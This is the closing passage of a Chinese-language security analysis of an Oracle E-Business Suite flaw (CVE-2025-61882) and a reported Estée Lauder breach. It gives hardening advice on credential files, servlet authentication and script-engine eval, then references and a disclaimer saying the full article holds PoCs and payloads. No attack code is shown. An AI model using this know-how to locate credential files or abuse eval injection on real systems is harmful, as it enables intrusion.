  3. 凭证文件 = 数据库密码$FND_TOP/secure/*.dbc 的保护级别应等同于 /etc/shadow,而不是默认的 644。

8.3 给开发者的启示

  • 任何 servlet 都必须经过中央鉴权框架——哪怕它是"内部接口";
  • 用户输入永远不要进 ScriptEngine.eval——如果非要,必须使用 ClassFilter 沙箱并启用 SecurityManager;
  • 密码文件必须有密钥分离——加密密钥不能与密文放在同一台主机上,否则加密等同于明文。

8.4 雅诗兰黛事件的警示

雅诗兰黛并非技术能力弱的企业——它有完整的 SOC、有季度渗透测试、有 EDR。但一个被遗忘的 14000 端口公网映射、一个未打的 7 月 CPU,就让 11 分钟内的攻击摧毁了 6.4 万人的隐私。这个案例再次证明:安全不是能力问题,是执行问题。Patch SLA 的每一次延后,都是把企业推向雅诗兰黛式的悲剧。


9. 参考资料

  • Oracle Critical Patch Update Advisory - July 2025
  • Oracle E-Business Suite Patch 36281492 Readme
  • Oracle E-Business Suite Patch 36281501 Readme
  • CVE-2025-61882 NVD Entry
  • Estée Lauder Companies 8-K Filing, August 2025
  • OWASP Top 10:2021 — A01 Broken Access Control
  • OWASP Top 10:2021 — A03 Injection
  • MITRE ATT&CK T1059 Command and Scripting Interpreter
  • MITRE ATT&CK T1505.003 Server Software Component: Web Shell

免责声明:本文所涉及的 PoC、payload、命令仅用于防御研究与授权渗透测试。未经授权对任何系统实施上述技术可能违反《网络安全法》《数据安全法》《刑法》第 285/286 条及他国同类法律。请在合法授权范围内使用本文信息。